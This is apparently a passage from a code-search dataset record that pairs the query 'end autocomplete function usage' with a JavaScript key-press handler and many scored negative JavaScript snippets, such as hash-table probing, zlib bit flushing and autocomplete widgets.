HashMap._hashString(key);\n //uses moduluous to find a slot for the key within current capacity \n const start = hash % this._capacity; \n\n //loops through the array \n //stops when it finds the slot w. a matching key or an empty slot\n for (let i = start; i < start + this._capacity; i++) {\n const index = i % this._capacity; \n const slot = this._hashTable[index];\n if (slot === undefined || (slot.key === key && !slot.DELETED)) {\n return index; \n }\n }\n }", "title": "" }, { "docid": "f963c6a5f4dffedf753b9df2ecb519fe", "score": "0.45118716", "text": "function branch(){xsi=poffset[zv[xsi+2]+poffbeg];}", "title": "" }, { "docid": "6c5d3a4ca62cd2a78ef4cd797f1de473", "score": "0.45030278", "text": "function ALLOCATE_TO_FREE() {\n for (I = 0; I < NUMBER_OF_BLOCKS; I = I + 1) {\n if (HEAP[I * BLOCK_SIZE + BLOCK_STATE_SLOT] === FREE) {\n BUMP_HEAD = I * BLOCK_SIZE + HEAP[HEAP[I * BLOCK_SIZE + FIRST_CHILD_SLOT]];\n BUMP_TAIL = I * BLOCK_SIZE + BLOCK_SIZE;\n break;\n } else {}\n }\n}", "title": "" }, { "docid": "3a574c2aa591a537f55d2fbabae16660", "score": "0.4500033", "text": "function bi_windup(s) {\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "3a574c2aa591a537f55d2fbabae16660", "score": "0.4500033", "text": "function bi_windup(s) {\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "43b24ffc288b87d419b397edc2ddadf2", "score": "0.44883832", "text": "async function findPath(map, start, end) {\n map = map.slice()\n let table = new Array(10000).fill(Infinity)\n\n table[start[1] * 100 + start[0]] = 0\n\n function distance([x, y]) {\n return (x - end[0]) ** 2 + (y - end[1]) ** 2\n }\n\n let collection = new BinaryHeap([start], (a, b) => distance(a) - distance(b))\n\n container.children[100 * start[1] + start[0]].style.backgroundColor = 'lightgreen'\n container.children[100 * end[1] + end[0]].style.backgroundColor = 'red'\n\n async function insert([x, y], pre, fromStart) {\n\n if (map[100 * y + x] === 1) {\n return\n }\n\n if (x < 0 || y < 0 || x >= 100 || y >= 100) {\n return\n }\n\n if (fromStart >= table[100 * y + x]) {\n return\n }\n\n map[100 * y + x] = pre\n\n table[100 * y + x] = fromStart\n\n //\n container.children[100 * y + x].style.backgroundColor = 'lightgreen'\n await sleep(1)\n\n collection.insert([x, y])\n }\n\n while (collection.length) {\n let [x, y] = collection.take()\n\n let fromStart = table[100 * y + x]\n\n // console.log(x, y)\n\n if (x === end[0] && y === end[1]) {\n let path = [end]\n let tmp = map[100 * y + x]\n x = tmp[0]\n y = tmp[1]\n while (x !== start[0] || y !== start[1]) {\n path.push([x, y])\n container.children[100 * y + x].style.backgroundColor = 'pink'\n let tmp = map[100 * y + x]\n x = tmp[0]\n y = tmp[1]\n }\n\n return path\n }\n\n await insert([x - 1, y], [x, y], fromStart + 1)\n await insert([x + 1, y], [x, y], fromStart + 1)\n await insert([x, y - 1], [x, y], fromStart + 1)\n await insert([x, y + 1], [x, y], fromStart + 1)\n\n await insert([x - 1, y - 1], [x, y], fromStart + 1.4)\n await insert([x + 1, y - 1], [x, y], fromStart + 1.4)\n await insert([x - 1, y + 1], [x, y], fromStart + 1.4)\n await insert([x + 1, y + 1], [x, y], fromStart + 1.4)\n }\n\n return null\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" }, { "docid": "61a6df61e79bec25997f64044ec31a05", "score": "0.44879857", "text": "function bi_windup(s)\n{\n if (s.bi_valid > 8) {\n put_short(s, s.bi_buf);\n } else if (s.bi_valid > 0) {\n //put_byte(s, (Byte)s->bi_buf);\n s.pending_buf[s.pending++] = s.bi_buf;\n }\n s.bi_buf = 0;\n s.bi_valid = 0;\n}", "title": "" } ]
e25256a3534a559939257040c40750b1
end autocomplete function usage:
[ { "docid": "8e0fb5eb7e00d225087d3bfd37d79e40", "score": "0.0", "text": "function testKeyPress(event) {\n\t//console.log(event.keyCode);\n\t//expects the event plus a string representing the button id to trigger if true\n\t// note, this code does not prevent the enter key from triggering a submit if a form exists on the page\n\tvar ENTERKEY = 13;\n\tvar TABKEY = 9;\n\t\n\tif (event.keyCode == ENTERKEY) {\n\t\teventKeyEnter();\n\t}\n\tif (event.keyCode == TABKEY) {\n\t\tif (event.preventDefault) { \n\t\t\tevent.preventDefault(); \n\t\t} else { \n\t\t\tevent.returnValue = false; //IE workaround\n\t\t}\n\t\tgrabFirstVal($('ul'));\n\t}\n}", "title": "" } ]
[ { "docid": "5ee4a882d7238e6842453b8de0fbf654", "score": "0.7507426", "text": "function TextExtAutocomplete() {}", "title": "" }, { "docid": "cb79d7fb0310b0c97cc01457278ad0d4", "score": "0.7463659", "text": "function searchAutoComplete() {\n if(self.selectedChoice() == 'name') {\n autoCompleteSource(nameArr);\n } else {\n autoCompleteSource(addrArr);\n }\n}", "title": "" }, { "docid": "8ceffff1edf94b02fbaf74c769d60ee3", "score": "0.7387342", "text": "getSuggestion() {}", "title": "" }, { "docid": "e073bde133c3d846b005171fc10e8dc2", "score": "0.6989859", "text": "function autocomp() {\n\tvar availableTags = [\n\t\t\"ActionScript\",\n\t\t\"AppleScript\",\n\t\t\"Asp\",\n\t\t\"BASIC\",\n\t\t\"C\",\n\t\t\"C++\",\n\t\t\"Clojure\",\n\t\t\"COBOL\",\n\t\t\"ColdFusion\",\n\t\t\"Erlang\",\n\t\t\"Fortran\",\n\t\t\"Groovy\",\n\t\t\"Haskell\",\n\t\t\"Java\",\n\t\t\"JavaScript\",\n\t\t\"Lisp\",\n\t\t\"Perl\",\n\t\t\"PHP\",\n\t\t\"Python\",\n\t\t\"Ruby\",\n\t\t\"Scala\",\n\t\t\"Scheme\"\n\t];\n\t$( \".search\" ).autocomplete({\n\t\tsource: availableTags,\n\t\tdelay: 100\n\t});\n}", "title": "" }, { "docid": "854975dade4e81f76bbbf65b7f0d865e", "score": "0.69088143", "text": "function changeAutocompletion() {\n\t\t\tremoveAutocompletion();\n\t\t\taddAutocompletion();\n\t\t}", "title": "" }, { "docid": "94daf9daf598578ba019bcb1282f6fdd", "score": "0.6852242", "text": "function addAutocompletion() {\n\t\t\tvar props = {\n\t\t\t\tminChars : settings.autocompletion_min_chars,\n\t\t\t\tautoFill : true,\n\t\t\t\textraParams : {\n\t\t\t\t\tlimit : settings.autocompletion_limit,\n\t\t\t\t\twhat : settings.autocompletion_type,\n\t\t\t\t\twith_id : settings.autocompletion_with_id\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tif (typeof settings.autocompletion_format_list === 'function') {\n\t\t\t\tprops.formatItem = settings.autocompletion_format_list;\n\t\t\t}\n\n\t\t\tif (typeof settings.autocompletion_format_output === 'function') {\n\t\t\t\tprops.formatOutput = settings.autocompletion_format_output;\n\t\t\t}\n\n\t\t\tvar automplete_source = settings.autocomplete_data ? settings.autocomplete_data : '/autocomplete';\n\t\t\t$input.oldautocomplete(automplete_source, props).result(function(e, row) {\n\t\t\t\tsettings.last_selected_suggestion = row;\n\n\t\t\t\t$el.trigger('txt:autocomplete:select', [_self, row]);\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "7f89214a3de01a9c15b70679ab3a16d0", "score": "0.68306196", "text": "function autoSuggestSearch (searchbox){ \n showSuggestSearchList(searchbox); \n}", "title": "" }, { "docid": "b2542b3079e96b77111c440bc35cfc29", "score": "0.6786767", "text": "function getAutoCompleteSuggestions(start_chars) {\n\t// registering method for wikipedia opensearch call\n\tclient.registerMethod(\"jsonMethod\", \"https://en.wikipedia.org/w/api.php?action=opensearch&search=\" + start_chars + \"&limit=5&namespace=0&format=json\", \"GET\");\n\tclient.methods.jsonMethod(function(data) {\n\t\tcallbackAutoCompleteSuggestions(data);\n\t});\n}", "title": "" }, { "docid": "ee78d91c03b5ce75e49ce7161d1fae56", "score": "0.67329943", "text": "function activateAutocomplete() {\r\n $('.autocompleteItem input').each(function(index, ele){\r\n $(ele).autocomplete({\r\n minLength: 2,\r\n source: function(request, response) { $.getJSON($(ele).parents('.autocompleteItem').data('url'), { term: split(request.term).pop() }, response ); },\r\n focus: function() { return false; },\r\n select: function(event, ui) {\r\n let terms = split(this.value);\r\n terms.pop();\r\n terms.push(ui.item.value);\r\n terms.push(\"\");\r\n this.value = terms.join(\", \");\r\n return false;\r\n }\r\n });\r\n });\r\n}", "title": "" }, { "docid": "a0f8c3906ebd56ff159decf594cdb107", "score": "0.6686656", "text": "function autocompleteComplete(editor) {\n 'use strict';\n var intSearchStringStart = (autocompleteGlobals.intSearchStart + autocompleteGlobals.intSearchOffset)\n , intSearchStringEnd = (autocompleteGlobals.intSearchEnd)\n , jsnSearchStringRange, strScript\n , intFocusedLine = autocompleteGlobals.popupAce.getSelectionRange().start.row;\n \n // if there is a selected choice\n //console.log(intSearchStringStart, intSearchStringEnd);\n if (intFocusedLine !== undefined && intFocusedLine !== null && intSearchStringStart && intSearchStringEnd) {//selectedChoice\n strScript = editor.getValue();\n \n // get autocomplete replace range\n jsnSearchStringRange = {\n 'start': indexToRowAndColumn(strScript, intSearchStringStart)\n , 'end': indexToRowAndColumn(strScript, intSearchStringEnd)\n };\n \n // set selection using replace range\n editor.getSelection().setSelectionRange(new Range(\n jsnSearchStringRange.start.row,\n jsnSearchStringRange.start.column,\n jsnSearchStringRange.end.row,\n jsnSearchStringRange.end.column\n ));\n \n // replace the range with the selected choice's text\n autocompleteGlobals.bolInserting = true;\n editor.insert(autocompleteGlobals.arrValues[intFocusedLine]);\n autocompleteGlobals.bolInserting = false;\n }\n \n // close the autocomplete popup\n autocompletePopupClose(editor);\n}", "title": "" }, { "docid": "0a7075eba1e8426207f4755a9bb5274b", "score": "0.66699046", "text": "function customerSearch() { \r\n\tnew Ajax.Autocompleter('customer_input', \r\n\t\t\t'customer_results', \r\n\t\t\tbase_url+'customer/AJAX_get_customer_names/',{\r\n\t\t\t\tfrequency: 1,\r\n\t\t\t\tparamName: \"value\",\r\n\t\t\t\tminChars: 2,\r\n\t\t\t\tafterUpdateElement: getCustomerSelectionId \r\n\t\t\t\t});\r\n}", "title": "" }, { "docid": "7213b8d2a15905fe7080504b8b374cd3", "score": "0.6609039", "text": "function enable_autocomplete() {\n $( \".autocomplete\" ).bind( \"keydown\", function( event ) {\n field=$(this).data('autocomplete-field');\n if ( event.keyCode === $.ui.keyCode.TAB &&\n $( this ).data( \"ui-autocomplete\" ).menu.active ) {\n event.preventDefault();\n }\n });\n\n $( \"#bulk_edit_new_value\").autocomplete({\n source: function( request, response ) {\n bulk_field=$('#bulk_edit_attribute :selected').data('autocomplete-field');\n if (bulk_field) {\n $.getJSON( \"/autocomplete.json\", {\n field: bulk_field,\n term: extractLast( request.term )\n }, response );\n }\n },\n minLength: 2,\n max: 10});\n\n $( \".autocomplete.mvf\").autocomplete({\n source: function( request, response ) {\n $.getJSON( \"/autocomplete.json\", {\n field: field,\n term: extractLast( request.term )\n }, response );\n },\n search: function() {\n var term = extractLast( this.value );\n if ( term.length < 2 || term.length > 30) {\n return false;\n }\n },\n focus: function() {return false;},\n select: function( event, ui ) {\n var terms = split_mvf( this.value );\n terms.pop();\n terms.push( ui.item.value );\n terms.push( \"\" );\n this.value = terms.join( \" | \" ); // multivalued delimiter also goes here\n return false;\n }\n });\n\n $( \".autocomplete.single\").autocomplete({\n source: function( request, response ) {\n $.getJSON( \"/autocomplete.json\", {\n field: field,\n term: extractLast( request.term )\n }, response );\n },\n minLength: 2,\n max: 10});\n\n\t\t$( \".autocomplete-user.single\").autocomplete({\n source: function( request, response ) {\n $.getJSON( \"/curator/tasks/autocomplete_user.json\", {\n term: request.term\n }, response );\n },\n minLength: 2,\n max: 10});\n }", "title": "" }, { "docid": "8c088ad217fe9c1fd3dd33866995560c", "score": "0.6596455", "text": "function selectAutoTerms(ui, event, value) {\n var terms = split(value);\n // remove the current input\n terms.pop();\n // add the selected item\n for (var i = 0; i < terms.length; i++) {\n terms[i] = $.trim(terms[i]) + \" \" + _MDI.AUTOCOMPLETE_DELIMITER + \" \";\n }\n terms.push(_trimAutocompleteType(ui.item.value));\n // add placeholder\n terms.push(_MDI.AUTOCOMPLETE_DELIMITER + \" \");\n return (terms.join(\"\"));\n}", "title": "" }, { "docid": "601a343532decf684feac0412557fb4f", "score": "0.6589465", "text": "function AutoCompletePopup(field, characters, fetchFunction, clickHandler) {\n 'use strict';\n var ac = this;\n\n // Initialize ALL THE THINGS.\n this.field = field;\n this.characters = characters;\n this.active = false;\n this.items = 0;\n this.index = 0;\n this.value = \"\";\n this.clickHandler = clickHandler;\n this.fetchFunction = fetchFunction;\n\n // If no click handler was specified, use our own default one. The default click handler will replace\n // everything from the cursor until the character denoting the beginning of this \"token\" with the item's\n // name.\n if (!this.clickHandler) {\n this.clickHandler = function (replacement) {\n var selection = ac.field.getSelection(),\n value = ac.field.val(),\n nameStart = -1,\n i,\n p;\n\n // If nothing is selected in the field...\n if (selection.length === 0) {\n\n // From the selection position, go back up to 20 characters, searching for the start character.\n for (i = selection.start; i > selection.start - 20; i--) {\n if (ac.characters.indexOf(value.charAt(i)) >= 0) {\n nameStart = i;\n break;\n }\n }\n\n // If we found the position of the character, replace it all with the item's name.\n if (nameStart >= 0) {\n ac.field.val(value.substring(0, nameStart) + replacement + \" \" + value.substr(selection.start));\n p = nameStart + replacement.length + 1;\n ac.field.selectRange(p, p);\n }\n }\n };\n }\n\n // Now, construct the auto complete popup for this field.\n this.popup = $(\"#autoCompletePopup-\" + field.attr(\"id\"));\n if (!this.popup.length) {\n this.popup = $(\"<div id='autoCompletePopup-\" + field.attr(\"id\") + \"'/>\");\n }\n this.popup.bind(\"mouseup\", function (e) {\n return false;\n }).addClass(\"popup\").addClass(\"autoCompletePopup\").hide();\n\n // Append it to the body, and hide it when the document is clicked.\n this.popup.appendTo(\"body\");\n $(document).mouseup(function (e) {\n ac.hide();\n });\n\n // Add a keydown handler to the field. This will be used to navigate the popup menu (down/up/enter/escape).\n this.field.attr(\"autocomplete\", \"off\").keydown(function (e) {\n if (ac.active) {\n switch (e.which) {\n case 40: // Down\n ac.updateIndex(ac.index + 1);\n e.preventDefault();\n break;\n case 38: // Up\n ac.updateIndex(ac.index - 1);\n e.preventDefault();\n break;\n case 13:\n case 9: // Enter/Tab\n ac.popup.find(\"li\").eq(ac.index).click();\n e.preventDefault();\n break;\n case 27: // Escape\n ac.hide();\n e.stopPropagation();\n e.preventDefault();\n break;\n }\n }\n });\n\n // Add a keyup handler to the field. This will be used to fetch new content based on the field's value.\n this.field.keyup(function (e) {\n switch (e.which) {\n\n case 27: // Escape\n if (ac.active) {\n e.stopPropagation();\n }\n break;\n\n // Up, down, enter, tab, escape, left, right.\n case 9:\n case 13:\n case 40:\n case 38:\n case 37:\n case 39:\n break;\n\n default:\n\n // If we have a character to search for, backtrack from where the cursor is until we find it,\n // and use that content.\n if (ac.characters) {\n var name, i,\n selection = $(this).getSelection(),\n value = $(this).val(),\n nameStart = -1;\n\n if (selection.length === 0) {\n for (i = selection.start; i > selection.start - 20; i--) {\n if (ac.characters.indexOf(value.charAt(i)) >= 0) {\n nameStart = i;\n break;\n }\n 